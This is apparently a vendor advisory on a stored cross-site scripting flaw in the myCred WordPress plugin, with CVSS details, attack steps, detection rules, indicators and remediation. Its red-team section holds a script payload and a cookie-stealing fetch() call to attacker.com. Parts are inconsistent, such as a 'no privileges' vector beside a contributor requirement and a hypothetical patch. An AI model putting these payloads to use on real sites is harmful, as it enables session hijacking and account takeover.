CVE-2025-54668
Executive Summary
CVE-2025-54668 is a Stored Cross-Site Scripting (XSS) vulnerability in the myCred WordPress plugin, developed by Saad Iqbal. The flaw exists in versions up to and including 2.9.4.3, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject malicious JavaScript payloads into the plugin’s database, which are then executed in the browsers of other users (including administrators) when the affected page is rendered. This can lead to session hijacking, credential theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. myCred is distributed via the official WordPress Plugin Directory. Users should verify plugin integrity via checksums provided by WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires user interaction)
- User Interaction: Required (victim must visit a page with the injected script)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the widespread use of myCred in WordPress sites elevate the risk. An attacker can persistently compromise user sessions.
Deep Dive & Mechanics
The myCred plugin provides gamification and points management for WordPress. The vulnerability lies in how the plugin handles user input when creating or editing points-related content (e.g., badges, ranks, or custom messages). The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser.
Attack Flow:
- An attacker with contributor-level access (or higher) logs into WordPress.
- The attacker navigates to a myCred admin page (e.g., adding a new badge or custom message).
- The attacker injects a malicious JavaScript payload into an input field (e.g., badge name or description).
- The plugin stores the payload in the WordPress database without proper sanitization.
- When an administrator or other user views the affected page (e.g., the badge list or user profile), the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user input.
Vulnerable vs. Patched Code
Vulnerable Code (myCred <= 2.9.4.3):
// In a template or admin page
echo $badge_name; // Direct output without sanitization
Patched Code (Hypothetical fix):
// Properly escape output
echo esc_html( $badge_name );
The patch would require applying WordPress escaping functions (esc_html(), esc_attr(), wp_kses()) to all user-supplied data before output. Since no official patch is available, users must manually apply these changes or disable the plugin.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with myCred plugin version <= 2.9.4.3
- Attacker account with contributor-level privileges
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to myCred > Badges (or any custom post type).
- Create a new badge with the following payload in the Badge Name field:
<script>alert('XSS')</script> - Save the badge.
- As an administrator, visit myCred > Badges to trigger the XSS.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor WordPress admin logs for unusual badge/rank creation.
- Use WAF rules to block
<script>tags in POST requests to/wp-admin/admin-ajax.phpor/wp-admin/admin-post.php. - Implement Content Security Policy (CSP) headers to block inline scripts.
Mitigation:
- Disable the myCred plugin until a patch is released.
- Apply virtual patching via WAF (e.g., ModSecurity rule to block
mycredPOST requests containing<script>). - Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=mycred_save_badgeand payload containing<script>tags. - File: Modified database entries in
wp_postmetaorwp_postswithmycred_badgepost type containing JavaScript. - Log: WordPress debug log entries showing
mycredrelated errors or unexpected output. - Browser: Unusual JavaScript execution in admin pages (e.g., unexpected
alert()orfetch()calls).
Detection Engineering
YARA Rule
rule CVE_2025_54668_myCred_XSS {
meta:
description = "Detects stored XSS payloads in myCred plugin database entries"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54668"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$mycred_context = /mycred/i
condition:
$xss_payload and $mycred_context
}
Sigma Rule
title: CVE-2025-54668 - myCred Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in myCred plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=mycred_save_badge'
cs-request-body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in badge descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54668 myCred Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mycred_save_badge"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the myCred plugin if not critical to operations.
- Apply virtual patching using WAF rules to block POST requests containing
<script>in myCred-related endpoints. - Restrict user roles – only grant contributor access to trusted users.
Long-term Fix:
- Monitor the myCred plugin page for an official patch.
- If no patch is released, consider forking the plugin and applying the fix manually (add
esc_html()to all output functions). - Replace the plugin with an alternative gamification solution.
Detection:
- Deploy the provided YARA, Sigma, and Suricata rules.
- Enable WordPress audit logging to track changes to myCred posts.
Valters IT
Securing Digital Ecosystems
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.